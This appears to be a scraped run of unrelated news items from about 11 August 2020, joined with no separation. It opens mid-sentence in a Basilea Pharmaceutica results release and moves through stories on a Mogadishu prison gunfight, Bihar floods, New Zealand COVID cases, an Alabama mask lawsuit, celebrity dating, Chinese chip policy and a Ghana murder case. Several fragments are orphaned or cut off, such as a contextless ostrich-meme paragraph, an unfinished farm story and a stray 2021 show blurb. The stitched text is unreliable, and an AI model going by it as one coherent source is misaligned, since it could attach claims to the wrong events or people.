derazantinib as a single agent, but also in combination with an immuno-oncology drug, atezolizumab (Tecentriq), with the rationale that derazantinib may enhance the response to immuno-oncology treatment.7 In 2019, initial results of a phase 1 study with daily oral lisavanbulin in patients with glioblastoma multiforme (GBM), the most common type of primary brain cancer and one of the most lethal types of cancer, have been reported.8 These results showed clinical activity of lisavanbulin in GBM with one exceptional, long-lasting responder, whose brain tumor tissue displayed strong expression of the protein EB1. Full results of the study as well as data on the potential utility of EB1 as a response-predictive biomarker for lisavanbulin have been accepted for presentation at this year's annual congress of the European Society of Medical Oncology (ESMO) which is taking place in a virtual format in September 2020. Based on the results of this and other studies, we have decided to progress lisavanbulin to the next clinical stage and are preparing a biomarker-driven phase 2 study with lisavanbulin in patients with GBM. The start of the study is anticipated in the next few months. We expect interim results for this study in H1 2021 and top line results in H2 2021. This approach allows us to efficiently test our hypothesis that lisavanbulin can be developed in a targeted patient population, initially in GBM and then potentially in other tumor types. Conference call and webcast Basilea Pharmaceutica Ltd. will host a conference call and webcast today, Tuesday, August 11, 2020, at 4 p.m. (CEST), to discuss the Company's financial and operating results. Via audio webcast with presentation The live audio webcast of the results presentation can be followed here. Please note that there is no function to ask questions via webcast. For questions, please additionally dial-in via phone (see below). Via phone To listen by phone and ask questions, please use the dial-in details below. To ensure prompt access, please call approximately five minutes prior to the scheduled start of the call. +41 (0) 58 310 5000 (Europe and RoW) +1 (1) 866 291 4166 (USA) +44 (0) 207 107 0613 (U.K.) Replay The webcast, along with presentation will be available onlineshortly after the event and accessible for three months. About Basilea Basilea Pharmaceutica Ltd. is a commercial-stage biopharmaceutical company, focused on the development of products that address the medical challenges in the therapeutic areas of oncology and infectious diseases. With two commercialized drugs, the company is committed to discovering, developing and commercializing innovative pharmaceutical products to meet the medical needs of patients with serious and life-threatening conditions. Basilea Pharmaceutica Ltd. is headquartered in Basel, Switzerland and listed on the SIX Swiss Exchange. Disclaimer This communication expressly or implicitly contains certain forward-looking statements, such as "believe", "assume", "expect", "forecast", "project", "may", "could", "might", "will" or similar expressions concerning Basilea Pharmaceutica Ltd. and its business, including with respect to the progress, timing and completion of research, development and clinical studies for product candidates. Such statements involve certain known and unknown risks, uncertainties and other factors, which could cause the actual results, financial condition, performance or achievements of Basilea Pharmaceutica Ltd. to be materially different from any future results, performance or achievements expressed or implied by such forward-looking statements. Basilea Pharmaceutica Ltd. is providing this communication as of this date and does not undertake to update any forward-looking statements contained herein as a result of new information, future events or otherwise. For further information, please contact: Peer Nils Schroder, PhD Head of Corporate Communications & Investor Relations Phone +41 61 606 1102 E-mail media_relations@basilea.com (mailto:media_relations@basilea.com) investor_relations@basilea.com (mailto:investor_relations@basilea.com) This press release can be downloaded from www.basilea.com. References The ceftobiprole phase 3 program is funded in part (up to USD 128 million, which is approximately 70% of the total estimated program costs) with federal funds from the U.S. Department of Health and Human Services; Office of the Assistant Secretary for Preparedness and Response; Biomedical Advanced Research and Development Authority (BARDA), under Contract No. HHSO100201600002C. IQVIA, March 2020. In-market sales reported as moving annual total (MAT) in U.S. Dollar corrected for currency fluctuations. ERADICATE study: Clinicaltrials.gov identifier NCT03138733 TARGET study: Clinicaltrials.gov identifier NCT03137173 FIDES-01 study: Clinicaltrials.gov identifier NCT03230318 FIDES-02 study: Clinicaltrials.gov identifier NCT04045613 Tecentriq is a registered trademark of Hoffmann-La Roche Ltd. Clinicaltrials.gov identifier NCT02490800 Attachment Source: Xinhua| 2020-08-11 22:14:08|Editor: huaxia Video Player Close MOGADISHU, Aug. 11 (Xinhua) -- The Somali government on Tuesday launched investigations into a violent incident at Mogadishu's central prison on Monday which left at least 15 al-Shabab inmates and four soldiers dead. Hassan Hussein Haji, Justice Minister, said the investigation is underway to determine how the incident took place at the central prison in Mogadishu. The minister said they would immediately share the outcome of the investigations with the public to help establish the circumstances under which such a rare incident took place. Haji said the authorities managed to arrest some of the fighters. "The investigations would reveal how the inmates got the weapons," he said, warning that whoever is found culpable would face the full force of law. "Some of the inmates committed a criminal act after receiving weapons and fought with prison guards. We are investigating who facilitated prisoners to get the weapon that resulted in the casualties," Haji said. He said the government will come up with proper policies and measures to protect the safety of inmates and guards in the future. Meanwhile, prison authorities confirmed that 15 inmates were killed and seven others injured during the deadly gunfight between the soldiers and al-Shabab inmates. Abdikani Mohamed Qalaf, spokesman of Prison, said four soldiers were killed and another wounded during the shoot-out inside the central prison in Mogadishu on Monday evening. Mahdi Mohamed Guled, acting Prime minister has set up a committee of five members to investigate the deadly attack at Mogadishu Central Prison. The committee has ten days to hand in a report. There was no immediate claim of responsibility for the clashes. Enditem File image Bihar Chief Minister (CM) Nitish Kumar has drawn Prime Minister Narendra Modi's attention towards Nepal's "non-cooperation" in carrying out flood management work. The Bihar CM has sought his intervention on the matter. Rivers originating in Nepal have inundated several districts in the northern parts of the state. At a meeting convened by the Prime Minister on the flood situation in states hit by the calamity, Kumar also said that Bihar was not getting its share of water from the Ganga and urged the Centre to take up the matter with Bangladesh. PM Modi for extensive use of innovative tech to improve flood forecast and warning system The Chief Minister alleged that the neighbouring country has not been extending "full cooperation" over the past few years, which has resulted in delayed completion of the repair of embankments. "The repair work which should have been complete by the end of May could be completed only by the end of June. Flood management work is carried out in the border areas by the water resources department of Bihar, as per an agreement between India and Nepal," he told the Prime Minister. "We received no cooperation from the government of Nepal this year, while we were to repair an embankment in Madhepura and another one in Madhubani, that falls in no man's land. This situation deserves attention," Kumar said in the meeting held via video conference. Follow our LIVE blog for the latest updates on the novel coronavirus pandemic He also recalled that nearly 13 districts of the state had been affected by floods caused by the Ganga in 2016 and said that the state's riverine areas remain submerged for long periods due to slow discharge from the Farakka Barrage. This issue needed to be arrested, the chief minister said. "As per the Indo-Bangladesh agreement, a discharge of 1,500 cusecs has to be ensured through the barrage. Of this, Bihar contributes 1,100 cusecs and is left with only 400 cusecs for its own use. This deprives Bihar of its due share of water from the Ganga, despite the river flowing through its territory," he said. Presenting a summary of the current flood situation, he told the Prime Minister that more than 74.20 lakh people of 16 districts in the state were affected by the calamity, out of whom 5.80 lakh have been evacuated with the help of 23 NDRF and 17 SDRF teams. He also said that 27,000 displaced people have been provided with shelter at 19 relief camps while more than nine lakh were being fed at 1,267 community kitchens. "I have personally visited many of these places and taken stock of the arrangements in place, in addition to aerial surveys of inundated areas," he said. "Special attention is being given to the prevention of the spread of COVID-19 in flood-affected areas. Observance of social distancing is being ensured at relief camps and the inmates are being tested for the coronavirus," he added. (With PTI inputs) Source: Xinhua| 2020-08-11 16:03:55|Editor: huaxia Video Player Close CHONGQING, Aug. 11 (Xinhua) -- About 84 tonnes of Brazilian frozen beef arrived in southwest China's Chongqing Municipality through an international trade corridor on Tuesday, according to the company operating in the corridor. It's the first time for Chongqing to import Brazilian frozen beef through the corridor, which can greatly reduce the logistics time involved in meat products trade between the two countries, the company said. It took 48 days for the beef worth nearly 4 million yuan (about 576,000 U.S. dollars) to reach the municipality, about 20 days shorter compared to traditional freight routes, said Wang Yupei, president of the company. The company said meat products would be regularly imported to Chongqing in the future. The imported shipments will enter surrounding markets through the city's railway, highway and other logistics channels. The New International Land-Sea Trade Corridor is a trade and logistics passage jointly built by western Chinese provincial regions and the Association of Southeast Asian Nations (ASEAN) countries including Singapore. The corridor now connects 234 ports in 92 countries and regions. Chongqing is the operating center of the corridor. Goods from western Chinese provinces and regions are first transported to the Beibu Gulf in south China's Guangxi Zhuang Autonomous Region before being shipped to other parts of the world along the sea routes. A total of 1,966 freight trains have traveled through the corridor's rail-sea transit route from September 2017 to June 30 this year. Enditem The nephew of Singapores Prime Minister Lee Hsien Loong said on August 11 that he will pay the fine for a Facebook post in which he questioned the independence of the citys judiciary. Li Shengwu, the grandson of countrys founding leader Lee Kuan Yew, is an academic based in the United States at Harvard University. Lis father Lee Hsien Yang has been at loggerheads with his brother, and the current PM, over their fathers legacy and recently joined an opposition party. The family feud went public after the death of the Lee family patriarch in 2015 as Li described the government as "very litigious and has a pliant court system" in a Facebook post. The High Court ordered Li to either pay a Sg$15,000 ($11,000) fine or serve a week's jail term following the denouncement of his comment by the Attorney-General's Chambers as "an egregious and baseless attack" on the judiciary. Li said that he has decided to pay the fine in order to buy some peace and quiet. Paying the fine avoids giving the Singapore government an easy excuse to attack me and my family, he wrote. However, Li asserted that he has not admitted guilt and has never denied writing what he wrote to his friends in a private Facebook post. He vehemently disagreed with the courts order, adding that civilised countries should not fine or jail their citizens for private comments on the court system. Read: World's Tallest Prefab Skyscrapers To Come Up In Singapore But Being Built In Malaysia Read: Singapore PM Says COVID-19 Crisis far From Over As Country Celebrates National Day 'Those were better times' After the courts verdict last month, Li posted a picture of a signed book From Third World to First: The Singapore Story: 1965-2000, authored by his grandfather. Commenting on the courts verdict, he raised concern that it will reinforce the tendency of the Peoples Action Party (PAP) to suppress ordinary political speech. As I was arranging my bookshelf the other day, I came across a gift from my childhood. (photo attached) Those were better times, before my uncle bullied his siblings and tore the family apart, he added. Read: COVID-19: Travellers Entering Singapore To Wear Electronic Monitoring Device Read: Indian-origin Judicial Commissioner Sworn In As High Court Judge In Singapore Locally, the other news of the day was an allegation that officials at a state-owned health insurance agency had pocketed $300 million a charge they denied. Creative Internet users reacted by channeling the ostrich as a symbol for frustration about corruption. The memes elevated the ostrich to the kind of stardom enjoyed by a badly behaved rhea that pecked at Brazilian President Jair Bolsonaro. Rumble Flossey is living a wonderful life on a beautiful farm in Millbrook, Ontario. It's what is knows an "ethical farm" where cows have space to roam and graze instead of being kept indoors for most of their lives. Flossey's farm has vast expanses of lush, green grass, rolling hills, ponds full of fresh water, and forested areas for shade. This is life as it should be for these gentle creatures. Dave is a farm hand who often helps out with some of the chores and animal care. He decided to take a break on this warm, summer day and he took a seat on the hill overlooking the pasture. SACRAMENTO, Calif. - Los Angeles County must pay a full $8 million damage award to the family of a Black man whose death had similarities to the police killing of George Floyd in Minneapolis, the California Supreme Court ruled Monday. While subduing Darren Burley in 2012, deputies used their knees to pin him to the ground with as much body weight as possible, according to the courts unanimous ruling. It said Deputy David Aviles put one knee on the centre of Burleys back and the other onto the back of Burleys head, near the neck, while other deputies also were involved. Burley died 10 days later. A jury awarded his family $8 million in damages while finding that Burley was 40% responsible for his own death. An appeals court later reduced the payout by $3.2 million. The high court justices, however, ruled that the county owes the family the entire $8 million. Attorney Olu Orange, who represents Burleys family, said the ruling holds that in the state of California, victims of police misconduct are going to be able to avail themselves of every law in the legal toolkit to redress violations of their civil rights. Los Angeles County and the sheriffs department did not respond to requests for comment. The facts of this case bear similarities to well-publicized incidents in which African Americans have died during encounters with police. These incidents raise deeply troubling and difficult issues involving race and the use of police force, the court said in its ruling. The justices said their decision centred on a ballot initiative adopted by California voters in 1986 that assigned damages based on degrees of responsibility, not on Burleys race or that he was killed during an encounter with law enforcement. Aviles, who weighed 200 pounds, and another deputy were responding to a report of an ongoing assault in Compton when Burley approached them while foaming at the mouth and making grunting and growling noises, according to the courts account. It said Aviles knelt on Burley during a significant struggle while three other deputies Tasered him multiple times without apparent effect. A witness said one deputy also appeared to attempt a chokehold, a deputy hit Burley repeatedly in the head with a flashlight, and Burley appeared to be gasping for air. Orange said lawsuits alleging police battery, like the one he filed, are one of the most effective tools that folks in communities that are typically subject to police violence have in order to seek justice. Jurors are instructed to consider if a suspects actions justified the officers reaction, as well as to assign degrees of responsibility. The high court ruled that the county and its deputies cant share the blame with Burley when it comes to apportioning damages for pain and suffering because deputies acted intentionally, as defined by previous court rulings, rather than negligently. In a separate concurring opinion, Justice Goodwin Liu went even further in finding parallels with Floyds death in May, when a Minneapolis officer pressed his knee against Floyds neck for several minutes. In all likelihood, the only reason Darren Burley is not a household name is that his killing was not caught on videotape as Floyds was, Liu wrote. But even as the wrongful death judgment here affords a measure of monetary relief to Burleys family, it does not acknowledge the troubling racial dynamics that have resulted in state-sanctioned violence, including lethal violence, against Black people throughout our history to this very day, he added. In this Dec. 10, 2019, file photo, New Zealand Prime Minister Jacinda Ardern holds a press conference in Whakatane, New Zealand. Ardern on Tuesday, Aug. 11, 2020, says authorities have found four cases of the coronavirus in one Auckland household from an unknown source, the first cases of local transmission in the country in 102 days. (AP Photo/Mark Baker, File) New Zealand Prime Minister Jacinda Ardern said Tuesday that authorities have found four cases of the coronavirus in one Auckland household from an unknown source, the first reported cases of local transmission in the country in 102 days. Ardern said Auckland, the nation's largest city, will be moved to Alert Level 3 from midday Wednesday through midnight Friday, meaning that people will be asked to stay at home, while bars and many other businesses will be closed. "These three days will give us time to assess the situation, gather information, make sure we have widespread contact tracing so we can find out more about how this case arose and make decisions about how to respond to it once we have further information," Ardern said at a hastily called news conference late Tuesday. "I know that this information will be very difficult to receive," Ardern said. "We had all hoped not to find ourselves in this position again. But we had also prepared for it. And as a team, we have also been here before." She said that traveling into Auckland will be banned unless people live there and are traveling home. She said the rest of the country will be raised to Level 2 through Friday, meaning that mass gatherings will be limited to 100 attendees and people would need to socially distance themselves from each other. In this image from a video, New Zealand Prime Minister Jacinda Ardern, left, and Director-General of Health Ashley Bloomfield, right, attend a news conference in Wellington, New Zealand Tuesday, Aug. 11, 2020. Ardern says authorities have found four cases of the coronavirus in one Auckland household from an unknown source, the first cases of local transmission in the country in 102 days. (TVNZ via AP) Director-General of Health Ashley Bloomfield said the infections were confirmed after a person in their 50s went to their doctor on Monday with symptoms and was swabbed twice, testing positive both times. Six other people in the person's household were then tested, with three more positive results. "Importantly, the person has no history of overseas travel," Bloomfield said, adding that the source of the infections remains unknown. Until Tuesday, the only known cases of the virus in New Zealand were 22 travelers who had recently returned from abroad and were being held in quarantine at the border. The country has been praised globally for its virus response. New Zealand initially got rid of the virus by imposing a strict lockdown in late March when only about 100 people had tested positive for the disease. That stopped its spread. A news alert is displayed on a mobile phone in Christchurch, New Zealand, Tuesday, Aug. 11, 2020. New Zealand Prime Minister Jacinda Ardern said Tuesday that authorities have found four cases of the coronavirus in one Auckland household from an unknown source, the first cases of local transmission in the country in 102 days. (AP Photo/Mark Baker) A news alert is displayed on a mobile phone in Christchurch, New Zealand, Tuesday, Aug. 11, 2020. New Zealand Prime Minister Jacinda Ardern said Tuesday that authorities have found four cases of the coronavirus in one Auckland household from an unknown source, the first cases of local transmission in the country in 102 days. (AP Photo/Mark Baker) A news alert is displayed on a mobile phone in Christchurch, New Zealand, Tuesday, Aug. 11, 2020. New Zealand Prime Minister Jacinda Ardern said Tuesday that authorities have found four cases of the coronavirus in one Auckland household from an unknown source, the first cases of local transmission in the country in 102 days. (AP Photo/Mark Baker) Life had returned to normal for many people in the South Pacific nation of 5 million, as they attended rugby games at packed stadiums and sat down in bars and restaurants without fear of getting infected. But some had warned that the country had become complacent. New Zealanders have never routinely worn masks, but authorities have been urging people to buy them just in case. The outbreak comes less than six weeks before New Zealanders are due to go to the polls in a general election. Explore further Follow the latest news on the coronavirus (COVID-19) outbreak 2020 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed without permission. Source: Xinhua| 2020-08-11 11:28:26|Editor: huaxia Video Player Close HOUSTON, Aug. 10 (Xinhua) -- Given that U.S.-China ties are the world's most important bilateral relationship, it's essential that both countries do what they can to pursue comprehensive engagement, a U.S. political expert has said. "While China and the United States will likely not always agree on things, direct dialogue and cordial relations are far better than what we're currently seeing," Jon R. Taylor, professor and chair of the Department of Political Science and Geography at the University of Texas at San Antonio, told Xinhua recently. The current situation is "in large part" because of "an aggressive sea-change in U.S. policy towards China in the past three years," Taylor added. Reviewing nearly 50 years of engagement and over 40 years of normalized relations between the two countries, the expert said he felt sad that the world is witnessing "the biggest reset of U.S. policy towards China since Nixon's visit in 1972." Turning to the recent remarks of some Washington politicians, Taylor said "it has become increasingly clear that they aim to turn China-U.S. relations completely on its head," adding that "blaming China for a host of American ills plays well with certain voters." Taylor noted that Washington's current actions do nothing but coarsen an already contentious relationship, and could actually limit U.S. foreign policy options and could also hurt the United States domestically. "A recommitment by the United States to broad, yet realistic, engagement would be an appropriate answer," he said. "The stakes are far too high to avoid wide-ranging discussions on a host of areas of mutual concern." As Chinese State Councilor and Foreign Minister Wang Yi said during an exclusive interview with Xinhua on Aug. 5, the U.S. move to turn China into an adversary is a fundamental, strategic miscalculation, which means that the United States is funneling its strategic resources in the wrong area. "We are always ready to develop a China-U.S. relationship featuring no conflict, no confrontation, mutual respect and win-win cooperation based on coordination, cooperation and stability," Wang said. Taylor also stressed "a crying need to step back, take a deep breath, and eliminate the zero-sum mindset on China-U.S. relations." "This has to end ... or it will likely lead to a new cold war," he said. "It would be a disaster for both countries and the world." Enditem YEREVAN, 11 AUGUST, ARMENPRESS. The Central Bank of Armenia informs Armenpress that today, 11 august, USD exchange rate up by 0.09 drams to 485.32 drams. EUR exchange rate up by 1.46 drams to 572.14 drams. Russian Ruble exchange rate up by 0.07 drams to 6.66 drams. GBP exchange rate up by 2.20 drams to 635.72 drams. The Central Bank has set the following prices for precious metals. Gold price up by 214.18 drams to 31901.15 drams. Silver price down by 0.85 drams to 441.11 drams. Platinum price up by 112.06 drams to 15384.95 drams. A Montgomery judge has dismissed a lawsuit filed by three Jackson County residents challenging Gov. Kay Iveys authority to order people to wear masks because of the COVID-19 pandemic. Montgomery County Circuit Judge Greg Griffin dismissed the case after a hearing this afternoon. Attorneys representing Ivey requested the dismissal. Retired sheriffs deputies Barry Munza and Larry Lewis and real estate agent Debbie Mathis filed the lawsuit July 24, claiming that the Alabama Emergency Management Act of 1955 does not empower the governor to order people to wear face coverings. Their attorney, Seth Ashmore, said they would appeal Griffins decision. Iveys order says people must wear face coverings if they are within 6 feet of a person from another household in an indoor space open to the public, an outdoor space where 10 or more people are gathered, or a vehicle operated by a transportation service. There are exceptions, such as for children 6 and under and people with certain medical conditions. The plaintiffs said they often interface with people within 6 feet in public. They note that the order carries the possibility of fines and incarceration for violators. They asked the court to block enforcement of the order, which went into effect July 16. Defendants in the case are Ivey, State Health Officer Dr. Scott Harris, and the Alabama State Board of Health. They filed a motion to dismiss the case on July 27. It says the Emergency Management Act provides ample authority for the mask order. It notes that the day the order was announced, intensive care units in Alabama hospitals were at 87% of capacity. Griffin heard arguments from both sides before announcing his decision. He said both sides did a good job presenting their arguments and did not explain why he was dismissing the case. Assistant Attorney General Brad Chynoweth went over several legal issues during the hearing but told Griffin the only issue for the court to decide was whether Ivey had the authority to issue the mask order under the Emergency Management Act. He said the answer was clearly yes. Ashmore said the Legislature did not grant the governor that much authority when it passed the Emergency Management Act in 1955. The Legislature did not give the governor the authority to make law, Ashmore told the judge. Its an unconstitutional delegation of authority. Ashmore spoke to reporters after the decision. The three people that signed this complaint need to be commended for their courage to basically hold accountable the government, Ashmore said. What weve got here, whats going on, is the governor has signed executive orders under her authority under the Emergency Management Act of 1955. Those are very narrow powers that the governor has and theyve been stretched almost to the point of breaking and I think they have broken. Mathis, who attended the hearing, was asked why she got involved in the lawsuit. She said her fathers career as a lawyer and a judge sparked her interest in legal matters. So Ive always been interested in the law and standing up for what is right, Mathis said. And I expect her (Ivey) to follow the law as I do as a realtor. Mathis said she and Ashmore have heard from other realtors who are glad they took a stand on the mask order. I think it has scared a lot of people, Mathis said. It affects the personal business of my business. Chynoweth, arguing on behalf of Ivey and State Health Officer Harris, said it was important to note that the mask order had the clearly defined purpose of trying to reduce the spread of COVID-19 and help keep the states health care system from being overwhelmed by the pandemic. He said it was in line with recommendations from the Centers for Disease Control to achieve those objectives. The Lebanese community in Chile gathered Monday in Santiago to honour the victims of the massive explosion that took place in Beirut on August 4th. The vigil was held in front of Lebanon's embassy, where more than 20 people lit candles showing their solidarity for the victims. "Even though we are in a pandemic, we believe that somehow we had to light candles in honour of the victims." said Nissrin Esber, President of the Lebanese Union in Chile, There are estimated to be at least 90,000 Chileans claiming Lebanese descent. Many speak Spanish and have converted to Roman Catholicism. The reaction to the past weeks' events shows how the community remains tied to their other homeland. The explosion at the Beirut port killed at least 160 people and injured thousands. Bazaar Corporate Radar | Feb 22, 2021, 12:00 AM IST Bazaar Corporate Radar Bazaar Corporate Radar is your window into the minds of top CEOs, Boardrooms, global economists, fund managers and sector analysts. If it?s making news, you?ll find it on Bazaar Corporate Radar. Actors Blake Lively and Leonardo DiCaprio dated for five months back in 2011. While their relationship was short-lived, it was filled with fun outings, traveling, and, oddly enough, dolls. It also influenced Livelys part of Serena in Gossip Girl. Blake Lively | Haider Yousuf/Getty Images Blake Lively and Leonardo DiCaprios relationship Lively and DiCaprio were first spotted together just after the Wolf of Wallstreet actor had split from his longtime girlfriend, model Bar Refaeli. They were seen together on a yacht in Cannes. A week later, the new couple was seen walking together in Portofino, Italy. Shortly after Lively and DiCaprio returned from their travels, they went to Disneyland together. According to E! News, they entered the park through a private entrance and discreetly enjoyed rides that were closed to the public. RELATED: 12 Time Ryan Reynolds and Blake Lively Proved They Are the Ultimate In #CoupleGoals In July and August, the handsome couple was seen shopping together at a boutique in Santa Barbara and spending time in New York City, where they were spotted taking a romantic bike ride. At the end of August, Lively and DiCaprio were seen spending time together in public one more time. Lively flew to Sydney, Australia to visit DiCaprio while he was working. There, they toured the Featherdale Wildlife Park where they got to spend some time with koalas and dingos. When Blake Lively and Leonardo DiCaprio were apart, the Gossip Girl actor would reportedly send her beau photos of a doll Gossip Girl executive producer Joshua Safran spoke to Vanity Fair back in 2017 about Livelys relationship with DiCaprio. They were filming the show in Los Angeles at the time and Safran said the Serena actors real-life relationship with DiCaprio couldnt help but influence the show. We learned a lot from Blake, Safran said. When I think about shooting the L.A. episodes, Blake was dating [DiCaprio] at the time, and she had this thing where she had a doll that she took photos of that she sent to Leo. Blake was way ahead of the curve. It was pre-Instagram. She was documenting her life in photographs in a way that people were not yet doing. Blake Lively and Leonardo DiCaprio break up RELATED: The Tallest Celeb Couple: Blake Lively and Ryan Reynolds Tower Over the Rest In October 2011, rumors started to pop up that Lively and DiCaprio had split. Right around that time, the Gossip Girl actor began spending time with Ryan Reynolds in Boston. A source told E! News that theyd split because of distance and timing. Today, Lively is married to Reynolds and DiCaprio is dating Camila Morrone. Integrated circuits on a circuit board. filonmar | E+ | Getty Images China has unveiled a slew of policies to help boost its domestic semiconductor industry as tensions with the U.S. continue to rise, but analysts have cast doubt over whether they will have a major impact. A large part of the incentives from China's State Council focus on tax relief. For example, a manufacturer that has been in operation for more than 15 years and that makes so called 28 nanometer or more advanced chips, will be exempt from corporate income tax for up to 10 years. For chip manufacturers, the preferential treatment period starts from the first profit-making year. But it's not just the actual manufacturing side of the industry getting tax relief. Other players working in areas from chip design and software, areas where the U.S. and Europe have been traditionally very strong, also received tax incentives. Beijing's new policies also focus on funding and encourages firms to list on China's technology-focused stock exchanges such as the Shanghai Science and Technology Innovation Board, often dubbed the STAR Market. Under the so-called "Made in China 2025" industrial plan, the country aims to produce 40% of the semiconductors it uses by 2020 and 70% by 2025. It's unclear what that figure is at currently. But it's a key focus for the government and one that has been ramped up in the past 18 months as tensions between China and the U.S. have escalated. "I think this new cold technology war is exactly why China is scaling the technology curve and aggressively developing the mainland technology for threat of being cut off and cut adrift by aggressive U.S. policies," Neil Campling, head of technology, media and telecoms research at Mirabaud Securities, told CNBC by email. Semiconductor boost? Analysts have cast doubt that the latest announcement could give a meaningful boost to the semiconductor industry in the world's second-largest economy. "The State Council's announcement focuses mainly on tax breaks, which are unlikely to supercharge China's semiconductor development," Dan Wang, technology analyst at Gavekal Dragonomics, a Beijing-based research firm, told CNBC. "However it signals that the central government has strong political backing for the sector." Stimulus for the chip industry in China is not new. In 2014, Beijing set up a multibillion dollar national fund to invest in chipmakers and last year created another one. But China still remains far behind the U.S. and other countries like Taiwan and South Korea. "Beijing has been pouring money into portions of the semiconductor industry since the 2014 establishment of the National IC (integrated circuit) Investment Fund, with so far only incremental success. That is because the sector is highly globalized, competitive, and market driven, and companies need more than cash to compete," Paul Triolo, head of the geo-technology practice at Eurasia Group, told CNBC. "The preferential treatment outline in the new policies will help in some areas, but in the short-term will have only marginal impact of the ability of Chinese semiconductor firms to move up the value chain and become more competitive globally." Sanctions Don't attack cops, write to me: Amarinder Singh on Punjab Congress row India pti-Deepika S Chandigarh, Aug 11: Punjab Congress leader Partap Singh Bajwa on Tuesday accused police chief Dinkar Gupta of "complete abdication of professional integrity" in withdrawing his security cover, asserting that intelligence reports have validated the threat perception against him. Bajwa also claimed that his security was withdrawn because of "political interference" and the state police was acting on the "whims and fancies" of Chief Minister Amarinder Singh. Responding to Bajwa''s outburst, Singh asked the Rajya Sabha member to write to him or to the party leadership in Delhi if he had grudge against the government. He also accused the Rajya Sabha member of lacking political maturity and lowering the morale of the police force. Last week, the Punjab government decided to withdraw the state security given to Bajwa, saying he enjoys the central security cover and virtually faced no threat. Bajwa had then accused Singh of resorting to "hitting below the belt" as he had criticised his government. Coronavirus: Russia claims first Covid-19 vaccine 'Sputnik V', WHO wants to review | Oneindia News On Tuesday, the former Punjab Congress chief wrote to Gupta to express his anger. "I am compelled to highlight your complete abdication of professional integrity and impartiality in the discharge of your duties as the DGP of Police, Punjab," he wrote. Bajwa said he did not write the letter for restoration of the security cover. "However, I am concerned with the politicisation of threat assessment reports and allotment of security to protectees," he wrote. Punjab Hooch Tragedy: Police arrest paint store owner Bajwa said he has been highlighting the "politico-police-drug nexus" and production and distribution of illicit liquor under "state patronage" and rampant illegal mining for a few years. "That my threat perception stands confirmed and validated by several intelligence reports over the past few years, however, it is evident that due to political interference and manipulation, a bogus threat assessment report was prepared overnight by the Punjab Police to rule out any threat," Bajwa wrote. He alleged that the state police apparatus was "acting on the whims and fancies" of the chief minister by furnishing their reports according to his convenience. He asked Gupta why police security cover given to former Chief Minister Parkash Singh Badal, Shiromani Akali Dal chief Sukhbir Singh Badal and Akali leader Bikram Singh Majithia were not withdrawn on the same grounds that they too have the central security cover. In another letter to Chandigarh DGP Sanjay Baniwal, Bajwa said the chief minister and the DGP will be solely responsible for any harm to his family due to the security withdrawal. In a statement, the chief minister said Bajwa''s letters reflected his "frustration and desperation" and exposed his "shameless lies". Making it clear that it was his decision as home minister to withdraw the security cover, the chief minister said Bajwa''s personal attack on the DGP was not only "misplaced" but also against the culture and ethos of the Congress party, of which he is a senior member. "If he does not have confidence in me or my government, why has he not approached the party high command all this time with his grouses? Does he have no faith even in them?" the CM asked. The Ford Mustang and the Chevrolet Corvette are two of Americas most iconic cars. But theyre also two different animals. The Mustang spent most of its career in the pony and muscle car market, while the Corvette was aimed mostly at sports car and grand tourer buyers. With the Corvette transformed into a mid-engined car for the eighth generation, the gap between these nameplate is even bigger now. But which one is the fastest around a track? To find out, MotorTrend took the range-topping Shelby GT500 and the C8 Corvette Z51 to Virginia International Raceway and put 24 Hours of Daytona winner Randy Pobst behind the steering wheel. These cars not only have radically different engine layouts, but they're also significantly different when it comes to specs. The front-engined Shelby GT500 comes with 760 horsepower on tap, while the mid-engined Corvette generates 495 horses. While the supercharged GT500 needs 3.7 seconds to hit 60 mph, the naturally aspirated Corvette reaches the same benchmark a lot quicker in 2.8 clicks. This means that the C8 Corvette gets off the line a lot quicker, but is this enough to win a race at the track? The cars were driven and filmed during different sessions, but the videos were combined to look as if they are racing at the same time. This enables us to see where each is quicker and how they handle turns and straight lines. Its a rolling start for both cars and the GT500 gets its nose in front for the first 10 seconds. The Corvette, which seems to be a bit quicker in the turns, snatches the lead and remains in front until the cars hit the straight, long line of the Virginia track. Thats where the GT500 moves back in front as it accelerates faster and hits a higher speed. From then on, the GT500 remains in the lead through the final three corners and cross the finish line at 1:59.68 minutes. The C8 Corvette takes the flag at 2:00.96, only a second behind the Shelby. The result is somewhat surprising. Mid-engined cars are supposed to be more agile at the track and even though the Corvette shows some skill on the first half of the course, the GT500 took advantage of its more powerful engine on the long straight. But this could also mean that the GT500 is actually far better on the race track than its predecessor. However, with just a second between them, we could say that the GT500 and the Corvette are equally competitive on this specific race course. The leader of the gang who fired the second shot during the robbery and murder of Marcus Mawutor Adzahli, the Assemblyman at Sogakope in the Volta Region five months ago has been arrested This brings the number of people arrested in connection with the murder of the Asemblyman to seven. Richard Adikyere, 23, a mason and the leader of the gang; Stephen Adzibolo also known as (aka) Tseko, 29, mechanic; Emmanuel Hedzro, 25, motor rider; Kofi Zotorvi, Christian Zotorvi, 30, farmer; Micheal Sam, 29 and Obed Agornu, 21, are in the custody of the police. Three weapons, one pump action gun and two locally manufactured guns have been retrieved from the suspects by the police. The Director-General of the Criminal Investigation Department (CID), Commissioner of Police (COP) Isaac Ken Yeboah gave the update at a press conference in Accra yesterday, stating that the crime was not a contract killing but robbery and murder. He said on July 5, 2020, at about 1:00am, five armed men robbed a house at Old Ningo and made away with a number of items, including two motorcycles. The Director-General said one of the motorcycles had a tracker which facilitated the location and identification of it when it was being offered for sale by one of the suspect Richard Adikyere. COP Yeboah said Adikyere confessed during interrogation of his involvement in robbery and murder of the Assemblyman in March 1, 2020. He mentioned the names of his accomplices and the role each played in the crime, COP Yeboah stated. He said Adikyere was the leader of the gang and delivered the second shot to gun down the deceased with a pump action gun. The Director-General said Adzibolo gave the first shot to the chest of the deceased when the Mawutor tried to struggle with him. Adzibolo also shot through the window to hit the baby with pellets lodged in the head, he added COP Yeboah said Hedzro who was not at the scene hatched the plan to rob the deceased for money, adding that he informed Adikyere to recruit men for the operation and later showed the suspects the house of the assemblyman. The Director-General stated that Zotorvi who was not present at the crime scene arranged and brought two weapons for the operation, whilst Christian Zotorvi was tasked to keep two weapons before and after the operation. He said Sam who took part in the operation was recruited by Adzibolo from Ashaiman for the operation COP Yeboah said Agornu was also recruited by Adzibolo from Ashiaman and he took part with a locally manufactured pistol at the scene. Giving an update on the incident at Kafaba near Salaga in the Savannah Region where a 90-year old woman, Akua Denteh was lynched, COP Yeboah said seven persons, including a fetish priestess and her deputy, have been arrested and have since been put before court and the case adjourned to August 20, 2020 Source: The Ghanaian Times Disclaimer : 